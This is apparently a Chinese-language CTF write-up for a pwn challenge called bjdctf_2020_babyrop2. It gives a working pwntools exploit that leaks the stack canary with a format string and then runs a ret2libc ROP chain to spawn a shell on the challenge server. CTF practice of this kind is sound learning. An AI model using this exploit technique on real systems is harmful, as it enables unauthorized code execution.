image.png
    有canary保护,然后又是栈题,估计格式字符串的泄露canary
    好像这道题目很经典,,,
    这里有个cannary,这里这个canary,是每个函数的返回都是一样的,所以我们只要泄露出来一个就可以使用了
    远程呢虽然栈随机化,但是偏移应该还是不变的,所以在本地上调试出canary的位置然后相对输入点来说就行了

    1. from pwn import*
    2. from LibcSearcher import*
    3. context.log_level = 'debug'
    4. #io = process('./bjdctf_2020_babyrop2')
    5. elf =ELF('./bjdctf_2020_babyrop2')
    6. io = remote("node4.buuoj.cn",27509)
    7. #gdb.attach(io)
    8. payload1 = 'aa%7$p'
    9. io.recvuntil("I'll give u some gift to help u!\n")
    10. io.sendline(payload1)
    11. io.recvuntil('aa')
    12. canary_addr= int(io.recvuntil('00'),16)
    13. log.success("canary:"+hex(canary_addr))
    14. puts_plt = elf.plt['puts']
    15. puts_got =elf.got['puts']
    16. pop_rdi = 0x0000000000400993
    17. vuln_addr = elf.sym['vuln']
    18. payload2 = b'a'*24 + p64(canary_addr)+b'bbbbbbbb'+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
    19. io.recvuntil('Pull up your sword and tell me u story!')
    20. io.send(payload2)
    21. #pause()
    22. #io.recvuntil('Pull up your sword and tell me u story!\n')
    23. io.recvuntil('\n')
    24. sleep(0.1)
    25. puts_addr = u64(io.recvuntil("\x7f").ljust(8,'\x00'))
    26. log.success('puts:'+hex(puts_addr))
    27. libc = LibcSearcher('puts',puts_addr)
    28. libcbase = puts_addr- libc.dump('puts')
    29. system_addr = libcbase+libc.dump('system')
    30. bin_sh = libcbase+libc.dump('str_bin_sh')
    31. payload2=b'a'*24 + p64(canary_addr)+b'deadbeef'+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
    32. #io.recvuntil('Pull up your sword and tell me u story!')
    33. io.sendline(payload2)
    34. io.interactive()

    对栈的调试怎么说呢,就是断点很重要,不然栈一没,你就看不到前面 数据,我感觉有时候看debug会好一点。